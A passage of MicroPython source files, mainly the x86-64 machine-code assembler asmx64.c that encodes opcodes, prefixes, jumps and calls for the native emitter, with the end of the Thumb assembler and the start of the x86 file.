asm_thumb_op16(as, OP_B_N(2)); // store i32 on machine-word aligned boundary mp_asm_base_data(&as->base, 4, i32); // do the actual load of the i32 value asm_thumb_mov_reg_i32_optimised(as, reg_dest, i32); } #define OP_STR_TO_SP_OFFSET(rlo_dest, word_offset) (0x9000 | ((rlo_dest) << 8) | ((word_offset) & 0x00ff)) #define OP_LDR_FROM_SP_OFFSET(rlo_dest, word_offset) (0x9800 | ((rlo_dest) << 8) | ((word_offset) & 0x00ff)) void asm_thumb_mov_local_reg(asm_thumb_t *as, int local_num, uint rlo_src) { assert(rlo_src < ASM_THUMB_REG_R8); int word_offset = local_num; assert(as->base.pass < MP_ASM_PASS_EMIT || word_offset >= 0); asm_thumb_op16(as, OP_STR_TO_SP_OFFSET(rlo_src, word_offset)); } void asm_thumb_mov_reg_local(asm_thumb_t *as, uint rlo_dest, int local_num) { assert(rlo_dest < ASM_THUMB_REG_R8); int word_offset = local_num; assert(as->base.pass < MP_ASM_PASS_EMIT || word_offset >= 0); asm_thumb_op16(as, OP_LDR_FROM_SP_OFFSET(rlo_dest, word_offset)); } #define OP_ADD_REG_SP_OFFSET(rlo_dest, word_offset) (0xa800 | ((rlo_dest) << 8) | ((word_offset) & 0x00ff)) void asm_thumb_mov_reg_local_addr(asm_thumb_t *as, uint rlo_dest, int local_num) { assert(rlo_dest < ASM_THUMB_REG_R8); int word_offset = local_num; assert(as->base.pass < MP_ASM_PASS_EMIT || word_offset >= 0); asm_thumb_op16(as, OP_ADD_REG_SP_OFFSET(rlo_dest, word_offset)); } // this could be wrong, because it should have a range of +/- 16MiB... #define OP_BW_HI(byte_offset) (0xf000 | (((byte_offset) >> 12) & 0x07ff)) #define OP_BW_LO(byte_offset) (0xb800 | (((byte_offset) >> 1) & 0x07ff)) void asm_thumb_b_label(asm_thumb_t *as, uint label) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction if (dest != (mp_uint_t)-1 && rel <= -4) { // is a backwards jump, so we know the size of the jump on the first pass // calculate rel assuming 12 bit relative jump if (SIGNED_FIT12(rel)) { asm_thumb_op16(as, OP_B_N(rel)); } else { goto large_jump; } } else { // is a forwards jump, so need to assume it's large large_jump: asm_thumb_op32(as, OP_BW_HI(rel), OP_BW_LO(rel)); } } void asm_thumb_bcc_label(asm_thumb_t *as, int cond, uint label) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction if (dest != (mp_uint_t)-1 && rel <= -4) { // is a backwards jump, so we know the size of the jump on the first pass // calculate rel assuming 9 bit relative jump if (SIGNED_FIT9(rel)) { asm_thumb_op16(as, OP_BCC_N(cond, rel)); } else { goto large_jump; } } else { // is a forwards jump, so need to assume it's large large_jump: asm_thumb_op32(as, OP_BCC_W_HI(cond, rel), OP_BCC_W_LO(rel)); } } #define OP_BLX(reg) (0x4780 | ((reg) << 3)) #define OP_SVC(arg) (0xdf00 | (arg)) void asm_thumb_bl_ind(asm_thumb_t *as, void *fun_ptr, uint fun_id, uint reg_temp) { /* TODO make this use less bytes uint rlo_base = ASM_THUMB_REG_R3; uint rlo_dest = ASM_THUMB_REG_R7; uint word_offset = 4; asm_thumb_op16(as, 0x0000); asm_thumb_op16(as, 0x6800 | (word_offset << 6) | (rlo_base << 3) | rlo_dest); // ldr rlo_dest, [rlo_base, #offset] asm_thumb_op16(as, 0x4780 | (ASM_THUMB_REG_R9 << 3)); // blx reg */ if (fun_id < 32) { // load ptr to function from table, indexed by fun_id (must be in range 0-31); 4 bytes asm_thumb_op16(as, ASM_THUMB_FORMAT_9_10_ENCODE(ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_WORD_TRANSFER, reg_temp, ASM_THUMB_REG_R7, fun_id)); asm_thumb_op16(as, OP_BLX(reg_temp)); } else { // load ptr to function into register using immediate; 6 bytes asm_thumb_mov_reg_i32(as, reg_temp, (mp_uint_t)fun_ptr); asm_thumb_op16(as, OP_BLX(reg_temp)); } } #endif // MICROPY_EMIT_THUMB || MICROPY_EMIT_INLINE_THUMB ================================================ FILE: micropython/source/py/asmx64.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/mpconfig.h" // wrapper around everything in this file #if MICROPY_EMIT_X64 #include "py/asmx64.h" /* all offsets are measured in multiples of 8 bytes */ #define WORD_SIZE (8) #define OPCODE_NOP (0x90) #define OPCODE_PUSH_R64 (0x50) /* +rq */ #define OPCODE_PUSH_I64 (0x68) #define OPCODE_PUSH_M64 (0xff) /* /6 */ #define OPCODE_POP_R64 (0x58) /* +rq */ #define OPCODE_RET (0xc3) #define OPCODE_MOV_I8_TO_R8 (0xb0) /* +rb */ #define OPCODE_MOV_I64_TO_R64 (0xb8) /* +rq */ #define OPCODE_MOV_I32_TO_RM32 (0xc7) #define OPCODE_MOV_R8_TO_RM8 (0x88) /* /r */ #define OPCODE_MOV_R64_TO_RM64 (0x89) /* /r */ #define OPCODE_MOV_RM64_TO_R64 (0x8b) /* /r */ #define OPCODE_MOVZX_RM8_TO_R64 (0xb6) /* 0x0f 0xb6/r */ #define OPCODE_MOVZX_RM16_TO_R64 (0xb7) /* 0x0f 0xb7/r */ #define OPCODE_LEA_MEM_TO_R64 (0x8d) /* /r */ #define OPCODE_AND_R64_TO_RM64 (0x21) /* /r */ #define OPCODE_OR_R64_TO_RM64 (0x09) /* /r */ #define OPCODE_XOR_R64_TO_RM64 (0x31) /* /r */ #define OPCODE_ADD_R64_TO_RM64 (0x01) /* /r */ #define OPCODE_ADD_I32_TO_RM32 (0x81) /* /0 */ #define OPCODE_ADD_I8_TO_RM32 (0x83) /* /0 */ #define OPCODE_SUB_R64_FROM_RM64 (0x29) #define OPCODE_SUB_I32_FROM_RM64 (0x81) /* /5 */ #define OPCODE_SUB_I8_FROM_RM64 (0x83) /* /5 */ //#define OPCODE_SHL_RM32_BY_I8 (0xc1) /* /4 */ //#define OPCODE_SHR_RM32_BY_I8 (0xc1) /* /5 */ //#define OPCODE_SAR_RM32_BY_I8 (0xc1) /* /7 */ #define OPCODE_SHL_RM64_CL (0xd3) /* /4 */ #define OPCODE_SAR_RM64_CL (0xd3) /* /7 */ //#define OPCODE_CMP_I32_WITH_RM32 (0x81) /* /7 */ //#define OPCODE_CMP_I8_WITH_RM32 (0x83) /* /7 */ #define OPCODE_CMP_R64_WITH_RM64 (0x39) /* /r */ //#define OPCODE_CMP_RM32_WITH_R32 (0x3b) #define OPCODE_TEST_R8_WITH_RM8 (0x84) /* /r */ #define OPCODE_JMP_REL8 (0xeb) #define OPCODE_JMP_REL32 (0xe9) #define OPCODE_JCC_REL8 (0x70) /* | jcc type */ #define OPCODE_JCC_REL32_A (0x0f) #define OPCODE_JCC_REL32_B (0x80) /* | jcc type */ #define OPCODE_SETCC_RM8_A (0x0f) #define OPCODE_SETCC_RM8_B (0x90) /* | jcc type, /0 */ #define OPCODE_CALL_REL32 (0xe8) #define OPCODE_CALL_RM32 (0xff) /* /2 */ #define OPCODE_LEAVE (0xc9) #define MODRM_R64(x) (((x) & 0x7) << 3) #define MODRM_RM_DISP0 (0x00) #define MODRM_RM_DISP8 (0x40) #define MODRM_RM_DISP32 (0x80) #define MODRM_RM_REG (0xc0) #define MODRM_RM_R64(x) ((x) & 0x7) #define OP_SIZE_PREFIX (0x66) #define REX_PREFIX (0x40) #define REX_W (0x08) // width #define REX_R (0x04) // register #define REX_X (0x02) // index #define REX_B (0x01) // base #define REX_W_FROM_R64(r64) ((r64) >> 0 & 0x08) #define REX_R_FROM_R64(r64) ((r64) >> 1 & 0x04) #define REX_X_FROM_R64(r64) ((r64) >> 2 & 0x02) #define REX_B_FROM_R64(r64) ((r64) >> 3 & 0x01) #define IMM32_L0(x) ((x) & 0xff) #define IMM32_L1(x) (((x) >> 8) & 0xff) #define IMM32_L2(x) (((x) >> 16) & 0xff) #define IMM32_L3(x) (((x) >> 24) & 0xff) #define IMM64_L4(x) (((x) >> 32) & 0xff) #define IMM64_L5(x) (((x) >> 40) & 0xff) #define IMM64_L6(x) (((x) >> 48) & 0xff) #define IMM64_L7(x) (((x) >> 56) & 0xff) #define UNSIGNED_FIT8(x) (((x) & 0xffffffffffffff00) == 0) #define UNSIGNED_FIT32(x) (((x) & 0xffffffff00000000) == 0) #define SIGNED_FIT8(x) (((x) & 0xffffff80) == 0) || (((x) & 0xffffff80) == 0xffffff80) static inline byte *asm_x64_get_cur_to_write_bytes(asm_x64_t *as, int n) { return mp_asm_base_get_cur_to_write_bytes(&as->base, n); } STATIC void asm_x64_write_byte_1(asm_x64_t *as, byte b1) { byte* c = asm_x64_get_cur_to_write_bytes(as, 1); if (c != NULL) { c[0] = b1; } } STATIC void asm_x64_write_byte_2(asm_x64_t *as, byte b1, byte b2) { byte* c = asm_x64_get_cur_to_write_bytes(as, 2); if (c != NULL) { c[0] = b1; c[1] = b2; } } STATIC void asm_x64_write_byte_3(asm_x64_t *as, byte b1, byte b2, byte b3) { byte* c = asm_x64_get_cur_to_write_bytes(as, 3); if (c != NULL) { c[0] = b1; c[1] = b2; c[2] = b3; } } STATIC void asm_x64_write_word32(asm_x64_t *as, int w32) { byte* c = asm_x64_get_cur_to_write_bytes(as, 4); if (c != NULL) { c[0] = IMM32_L0(w32); c[1] = IMM32_L1(w32); c[2] = IMM32_L2(w32); c[3] = IMM32_L3(w32); } } STATIC void asm_x64_write_word64(asm_x64_t *as, int64_t w64) { byte* c = asm_x64_get_cur_to_write_bytes(as, 8); if (c != NULL) { c[0] = IMM32_L0(w64); c[1] = IMM32_L1(w64); c[2] = IMM32_L2(w64); c[3] = IMM32_L3(w64); c[4] = IMM64_L4(w64); c[5] = IMM64_L5(w64); c[6] = IMM64_L6(w64); c[7] = IMM64_L7(w64); } } /* unused STATIC void asm_x64_write_word32_to(asm_x64_t *as, int offset, int w32) { byte* c; assert(offset + 4 <= as->code_size); c = as->code_base + offset; c[0] = IMM32_L0(w32); c[1] = IMM32_L1(w32); c[2] = IMM32_L2(w32); c[3] = IMM32_L3(w32); } */ STATIC void asm_x64_write_r64_disp(asm_x64_t *as, int r64, int disp_r64, int disp_offset) { assert(disp_r64 != ASM_X64_REG_RSP); if (disp_r64 == ASM_X64_REG_R12) { // special case for r12; not fully implemented assert(SIGNED_FIT8(disp_offset)); asm_x64_write_byte_3(as, MODRM_R64(r64) | MODRM_RM_DISP8 | MODRM_RM_R64(disp_r64), 0x24, IMM32_L0(disp_offset)); return; } if (disp_offset == 0 && disp_r64 != ASM_X64_REG_RBP) { asm_x64_write_byte_1(as, MODRM_R64(r64) | MODRM_RM_DISP0 | MODRM_RM_R64(disp_r64)); } else if (SIGNED_FIT8(disp_offset)) { asm_x64_write_byte_2(as, MODRM_R64(r64) | MODRM_RM_DISP8 | MODRM_RM_R64(disp_r64), IMM32_L0(disp_offset)); } else { asm_x64_write_byte_1(as, MODRM_R64(r64) | MODRM_RM_DISP32 | MODRM_RM_R64(disp_r64)); asm_x64_write_word32(as, disp_offset); } } STATIC void asm_x64_generic_r64_r64(asm_x64_t *as, int dest_r64, int src_r64, int op) { asm_x64_write_byte_3(as, REX_PREFIX | REX_W | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), op, MODRM_R64(src_r64) | MODRM_RM_REG | MODRM_RM_R64(dest_r64)); } void asm_x64_nop(asm_x64_t *as) { asm_x64_write_byte_1(as, OPCODE_NOP); } void asm_x64_push_r64(asm_x64_t *as, int src_r64) { if (src_r64 < 8) { asm_x64_write_byte_1(as, OPCODE_PUSH_R64 | src_r64); } else { asm_x64_write_byte_2(as, REX_PREFIX | REX_B, OPCODE_PUSH_R64 | (src_r64 & 7)); } } /* void asm_x64_push_i32(asm_x64_t *as, int src_i32) { asm_x64_write_byte_1(as, OPCODE_PUSH_I64); asm_x64_write_word32(as, src_i32); // will be sign extended to 64 bits } */ /* void asm_x64_push_disp(asm_x64_t *as, int src_r64, int src_offset) { assert(src_r64 < 8); asm_x64_write_byte_1(as, OPCODE_PUSH_M64); asm_x64_write_r64_disp(as, 6, src_r64, src_offset); } */ void asm_x64_pop_r64(asm_x64_t *as, int dest_r64) { if (dest_r64 < 8) { asm_x64_write_byte_1(as, OPCODE_POP_R64 | dest_r64); } else { asm_x64_write_byte_2(as, REX_PREFIX | REX_B, OPCODE_POP_R64 | (dest_r64 & 7)); } } STATIC void asm_x64_ret(asm_x64_t *as) { asm_x64_write_byte_1(as, OPCODE_RET); } void asm_x64_mov_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) { asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_MOV_R64_TO_RM64); } void asm_x64_mov_r8_to_mem8(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp) { if (src_r64 < 8 && dest_r64 < 8) { asm_x64_write_byte_1(as, OPCODE_MOV_R8_TO_RM8); } else { asm_x64_write_byte_2(as, REX_PREFIX | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), OPCODE_MOV_R8_TO_RM8); } asm_x64_write_r64_disp(as, src_r64, dest_r64, dest_disp); } void asm_x64_mov_r16_to_mem16(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp) { if (src_r64 < 8 && dest_r64 < 8) { asm_x64_write_byte_2(as, OP_SIZE_PREFIX, OPCODE_MOV_R64_TO_RM64); } else { asm_x64_write_byte_3(as, OP_SIZE_PREFIX, REX_PREFIX | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), OPCODE_MOV_R64_TO_RM64); } asm_x64_write_r64_disp(as, src_r64, dest_r64, dest_disp); } void asm_x64_mov_r32_to_mem32(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp) { if (src_r64 < 8 && dest_r64 < 8) { asm_x64_write_byte_1(as, OPCODE_MOV_R64_TO_RM64); } else { asm_x64_write_byte_2(as, REX_PREFIX | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), OPCODE_MOV_R64_TO_RM64); } asm_x64_write_r64_disp(as, src_r64, dest_r64, dest_disp); } void asm_x64_mov_r64_to_mem64(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp) { // use REX prefix for 64 bit operation asm_x64_write_byte_2(as, REX_PREFIX | REX_W | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), OPCODE_MOV_R64_TO_RM64); asm_x64_write_r64_disp(as, src_r64, dest_r64, dest_disp); } void asm_x64_mov_mem8_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) { assert(src_r64 < 8); if (dest_r64 < 8) { asm_x64_write_byte_2(as, 0x0f, OPCODE_MOVZX_RM8_TO_R64); } else { asm_x64_write_byte_3(as, REX_PREFIX | REX_R, 0x0f, OPCODE_MOVZX_RM8_TO_R64); } asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp); } void asm_x64_mov_mem16_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) { assert(src_r64 < 8); if (dest_r64 < 8) { asm_x64_write_byte_2(as, 0x0f, OPCODE_MOVZX_RM16_TO_R64); } else { asm_x64_write_byte_3(as, REX_PREFIX | REX_R, 0x0f, OPCODE_MOVZX_RM16_TO_R64); } asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp); } void asm_x64_mov_mem32_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) { assert(src_r64 < 8); if (dest_r64 < 8) { asm_x64_write_byte_1(as, OPCODE_MOV_RM64_TO_R64); } else { asm_x64_write_byte_2(as, REX_PREFIX | REX_R, OPCODE_MOV_RM64_TO_R64); } asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp); } void asm_x64_mov_mem64_to_r64(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) { // use REX prefix for 64 bit operation asm_x64_write_byte_2(as, REX_PREFIX | REX_W | REX_R_FROM_R64(dest_r64) | REX_B_FROM_R64(src_r64), OPCODE_MOV_RM64_TO_R64); asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp); } STATIC void asm_x64_lea_disp_to_r64(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) { // use REX prefix for 64 bit operation assert(src_r64 < 8); assert(dest_r64 < 8); asm_x64_write_byte_2(as, REX_PREFIX | REX_W, OPCODE_LEA_MEM_TO_R64); asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp); } /* void asm_x64_mov_i8_to_r8(asm_x64_t *as, int src_i8, int dest_r64) { assert(dest_r64 < 8); asm_x64_write_byte_2(as, OPCODE_MOV_I8_TO_R8 | dest_r64, src_i8); } */ STATIC void asm_x64_mov_i32_to_r64(asm_x64_t *as, int src_i32, int dest_r64) { // cpu defaults to i32 to r64, with zero extension if (dest_r64 < 8) { asm_x64_write_byte_1(as, OPCODE_MOV_I64_TO_R64 | dest_r64); } else { asm_x64_write_byte_2(as, REX_PREFIX | REX_B, OPCODE_MOV_I64_TO_R64 | (dest_r64 & 7)); } asm_x64_write_word32(as, src_i32); } void asm_x64_mov_i64_to_r64(asm_x64_t *as, int64_t src_i64, int dest_r64) { // cpu defaults to i32 to r64 // to mov i64 to r64 need to use REX prefix asm_x64_write_byte_2(as, REX_PREFIX | REX_W | (dest_r64 < 8 ? 0 : REX_B), OPCODE_MOV_I64_TO_R64 | (dest_r64 & 7)); asm_x64_write_word64(as, src_i64); } void asm_x64_mov_i64_to_r64_optimised(asm_x64_t *as, int64_t src_i64, int dest_r64) { // TODO use movzx, movsx if possible if (UNSIGNED_FIT32(src_i64)) { // 5 bytes asm_x64_mov_i32_to_r64(as, src_i64 & 0xffffffff, dest_r64); } else { // 10 bytes asm_x64_mov_i64_to_r64(as, src_i64, dest_r64); } } // src_i64 is stored as a full word in the code, and aligned to machine-word boundary void asm_x64_mov_i64_to_r64_aligned(asm_x64_t *as, int64_t src_i64, int dest_r64) { // mov instruction uses 2 bytes for the instruction, before the i64 while (((as->base.code_offset + 2) & (WORD_SIZE - 1)) != 0) { asm_x64_nop(as); } asm_x64_mov_i64_to_r64(as, src_i64, dest_r64); } void asm_x64_and_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) { asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_AND_R64_TO_RM64); } void asm_x64_or_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) { asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_OR_R64_TO_RM64); } void asm_x64_xor_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) { asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_XOR_R64_TO_RM64); } void asm_x64_shl_r64_cl(asm_x64_t* as, int dest_r64) { asm_x64_generic_r64_r64(as, dest_r64, 4, OPCODE_SHL_RM64_CL); } void asm_x64_sar_r64_cl(asm_x64_t* as, int dest_r64) { asm_x64_generic_r64_r64(as, dest_r64, 7, OPCODE_SAR_RM64_CL); } void asm_x64_add_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) { asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_ADD_R64_TO_RM64); } void asm_x64_sub_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) { asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_SUB_R64_FROM_RM64); } void asm_x64_mul_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) { // imul reg64, reg/mem64 -- 0x0f 0xaf /r asm_x64_write_byte_1(as, REX_PREFIX | REX_W | REX_R_FROM_R64(dest_r64) | REX_B_FROM_R64(src_r64)); asm_x64_write_byte_3(as, 0x0f, 0xaf, MODRM_R64(dest_r64) | MODRM_RM_REG | MODRM_RM_R64(src_r64)); } /* void asm_x64_sub_i32_from_r32(asm_x64_t *as, int src_i32, int dest_r32) { if (SIGNED_FIT8(src_i32)) { // defaults to 32 bit operation asm_x64_write_byte_2(as, OPCODE_SUB_I8_FROM_RM64, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(dest_r32)); asm_x64_write_byte_1(as, src_i32 & 0xff); } else { // defaults to 32 bit operation asm_x64_write_byte_2(as, OPCODE_SUB_I32_FROM_RM64, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(dest_r32)); asm_x64_write_word32(as, src_i32); } } */ STATIC void asm_x64_sub_r64_i32(asm_x64_t *as, int dest_r64, int src_i32) { assert(dest_r64 < 8); if (SIGNED_FIT8(src_i32)) { // use REX prefix for 64 bit operation asm_x64_write_byte_3(as, REX_PREFIX | REX_W, OPCODE_SUB_I8_FROM_RM64, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(dest_r64)); asm_x64_write_byte_1(as, src_i32 & 0xff); } else { // use REX prefix for 64 bit operation asm_x64_write_byte_3(as, REX_PREFIX | REX_W, OPCODE_SUB_I32_FROM_RM64, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(dest_r64)); asm_x64_write_word32(as, src_i32); } } /* void asm_x64_shl_r32_by_imm(asm_x64_t *as, int r32, int imm) { asm_x64_write_byte_2(as, OPCODE_SHL_RM32_BY_I8, MODRM_R64(4) | MODRM_RM_REG | MODRM_RM_R64(r32)); asm_x64_write_byte_1(as, imm); } void asm_x64_shr_r32_by_imm(asm_x64_t *as, int r32, int imm) { asm_x64_write_byte_2(as, OPCODE_SHR_RM32_BY_I8, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(r32)); asm_x64_write_byte_1(as, imm); } void asm_x64_sar_r32_by_imm(asm_x64_t *as, int r32, int imm) { asm_x64_write_byte_2(as, OPCODE_SAR_RM32_BY_I8, MODRM_R64(7) | MODRM_RM_REG | MODRM_RM_R64(r32)); asm_x64_write_byte_1(as, imm); } */ void asm_x64_cmp_r64_with_r64(asm_x64_t *as, int src_r64_a, int src_r64_b) { asm_x64_generic_r64_r64(as, src_r64_b, src_r64_a, OPCODE_CMP_R64_WITH_RM64); } /* void asm_x64_cmp_i32_with_r32(asm_x64_t *as, int src_i32, int src_r32) { if (SIGNED_FIT8(src_i32)) { asm_x64_write_byte_2(as, OPCODE_CMP_I8_WITH_RM32, MODRM_R64(7) | MODRM_RM_REG | MODRM_RM_R64(src_r32)); asm_x64_write_byte_1(as, src_i32 & 0xff); } else { asm_x64_write_byte_2(as, OPCODE_CMP_I32_WITH_RM32, MODRM_R64(7) | MODRM_RM_REG | MODRM_RM_R64(src_r32)); asm_x64_write_word32(as, src_i32); } } */ void asm_x64_test_r8_with_r8(asm_x64_t *as, int src_r64_a, int src_r64_b) { // TODO implement for other registers assert(src_r64_a == ASM_X64_REG_RAX); assert(src_r64_b == ASM_X64_REG_RAX); asm_x64_write_byte_2(as, OPCODE_TEST_R8_WITH_RM8, MODRM_R64(src_r64_a) | MODRM_RM_REG | MODRM_RM_R64(src_r64_b)); } void asm_x64_setcc_r8(asm_x64_t *as, int jcc_type, int dest_r8) { assert(dest_r8 < 8); asm_x64_write_byte_3(as, OPCODE_SETCC_RM8_A, OPCODE_SETCC_RM8_B | jcc_type, MODRM_R64(0) | MODRM_RM_REG | MODRM_RM_R64(dest_r8)); } STATIC mp_uint_t get_label_dest(asm_x64_t *as, mp_uint_t label) { assert(label < as->base.max_num_labels); return as->base.label_offsets[label]; } void asm_x64_jmp_label(asm_x64_t *as, mp_uint_t label) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; if (dest != (mp_uint_t)-1 && rel < 0) { // is a backwards jump, so we know the size of the jump on the first pass // calculate rel assuming 8 bit relative jump rel -= 2; if (SIGNED_FIT8(rel)) { asm_x64_write_byte_2(as, OPCODE_JMP_REL8, rel & 0xff); } else { rel += 2; goto large_jump; } } else { // is a forwards jump, so need to assume it's large large_jump: rel -= 5; asm_x64_write_byte_1(as, OPCODE_JMP_REL32); asm_x64_write_word32(as, rel); } } void asm_x64_jcc_label(asm_x64_t *as, int jcc_type, mp_uint_t label) { mp_uint_t dest = get_label_dest(as, label); mp_int_t rel = dest - as->base.code_offset; if (dest != (mp_uint_t)-1 && rel < 0) { // is a backwards jump, so we know the size of the jump on the first pass // calculate rel assuming 8 bit relative jump rel -= 2; if (SIGNED_FIT8(rel)) { asm_x64_write_byte_2(as, OPCODE_JCC_REL8 | jcc_type, rel & 0xff); } else { rel += 2; goto large_jump; } } else { // is a forwards jump, so need to assume it's large large_jump: rel -= 6; asm_x64_write_byte_2(as, OPCODE_JCC_REL32_A, OPCODE_JCC_REL32_B | jcc_type); asm_x64_write_word32(as, rel); } } void asm_x64_entry(asm_x64_t *as, int num_locals) { asm_x64_push_r64(as, ASM_X64_REG_RBP); asm_x64_mov_r64_r64(as, ASM_X64_REG_RBP, ASM_X64_REG_RSP); if (num_locals < 0) { num_locals = 0; } num_locals |= 1; // make it odd so stack is aligned on 16 byte boundary asm_x64_sub_r64_i32(as, ASM_X64_REG_RSP, num_locals * WORD_SIZE); asm_x64_push_r64(as, ASM_X64_REG_RBX); asm_x64_push_r64(as, ASM_X64_REG_R12); asm_x64_push_r64(as, ASM_X64_REG_R13); as->num_locals = num_locals; } void asm_x64_exit(asm_x64_t *as) { asm_x64_pop_r64(as, ASM_X64_REG_R13); asm_x64_pop_r64(as, ASM_X64_REG_R12); asm_x64_pop_r64(as, ASM_X64_REG_RBX); asm_x64_write_byte_1(as, OPCODE_LEAVE); asm_x64_ret(as); } // locals: // - stored on the stack in ascending order // - numbered 0 through as->num_locals-1 // - RBP points above the last local // // | RBP // v // l0 l1 l2 ... l(n-1) // ^ ^ // | low address | high address in RAM // STATIC int asm_x64_local_offset_from_ebp(asm_x64_t *as, int local_num) { return (-as->num_locals + local_num) * WORD_SIZE; } void asm_x64_mov_local_to_r64(asm_x64_t *as, int src_local_num, int dest_r64) { asm_x64_mov_mem64_to_r64(as, ASM_X64_REG_RBP, asm_x64_local_offset_from_ebp(as, src_local_num), dest_r64); } void asm_x64_mov_r64_to_local(asm_x64_t *as, int src_r64, int dest_local_num) { asm_x64_mov_r64_to_mem64(as, src_r64, ASM_X64_REG_RBP, asm_x64_local_offset_from_ebp(as, dest_local_num)); } void asm_x64_mov_local_addr_to_r64(asm_x64_t *as, int local_num, int dest_r64) { int offset = asm_x64_local_offset_from_ebp(as, local_num); if (offset == 0) { asm_x64_mov_r64_r64(as, dest_r64, ASM_X64_REG_RBP); } else { asm_x64_lea_disp_to_r64(as, ASM_X64_REG_RBP, offset, dest_r64); } } /* void asm_x64_push_local(asm_x64_t *as, int local_num) { asm_x64_push_disp(as, ASM_X64_REG_RBP, asm_x64_local_offset_from_ebp(as, local_num)); } void asm_x64_push_local_addr(asm_x64_t *as, int local_num, int temp_r64) { asm_x64_mov_r64_r64(as, temp_r64, ASM_X64_REG_RBP); asm_x64_add_i32_to_r32(as, asm_x64_local_offset_from_ebp(as, local_num), temp_r64); asm_x64_push_r64(as, temp_r64); } */ /* can't use these because code might be relocated when resized void asm_x64_call(asm_x64_t *as, void* func) { asm_x64_sub_i32_from_r32(as, 8, ASM_X64_REG_RSP); asm_x64_write_byte_1(as, OPCODE_CALL_REL32); asm_x64_write_word32(as, func - (void*)(as->code_cur + 4)); asm_x64_mov_r64_r64(as, ASM_X64_REG_RSP, ASM_X64_REG_RBP); } void asm_x64_call_i1(asm_x64_t *as, void* func, int i1) { asm_x64_sub_i32_from_r32(as, 8, ASM_X64_REG_RSP); asm_x64_sub_i32_from_r32(as, 12, ASM_X64_REG_RSP); asm_x64_push_i32(as, i1); asm_x64_write_byte_1(as, OPCODE_CALL_REL32); asm_x64_write_word32(as, func - (void*)(as->code_cur + 4)); asm_x64_add_i32_to_r32(as, 16, ASM_X64_REG_RSP); asm_x64_mov_r64_r64(as, ASM_X64_REG_RSP, ASM_X64_REG_RBP); } */ void asm_x64_call_ind(asm_x64_t *as, void *ptr, int temp_r64) { assert(temp_r64 < 8); #ifdef __LP64__ asm_x64_mov_i64_to_r64_optimised(as, (int64_t)ptr, temp_r64); #else // If we get here, sizeof(int) == sizeof(void*). asm_x64_mov_i64_to_r64_optimised(as, (int64_t)(unsigned int)ptr, temp_r64); #endif asm_x64_write_byte_2(as, OPCODE_CALL_RM32, MODRM_R64(2) | MODRM_RM_REG | MODRM_RM_R64(temp_r64)); // this reduces code size by 2 bytes per call, but doesn't seem to speed it up at all // doesn't work anymore because calls are 64 bits away /* asm_x64_write_byte_1(as, OPCODE_CALL_REL32); asm_x64_write_word32(as, ptr - (void*)(as->code_base + as->code_offset + 4)); */ } #endif // MICROPY_EMIT_X64 ================================================ FILE: micropython/source/py/asmx86.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is 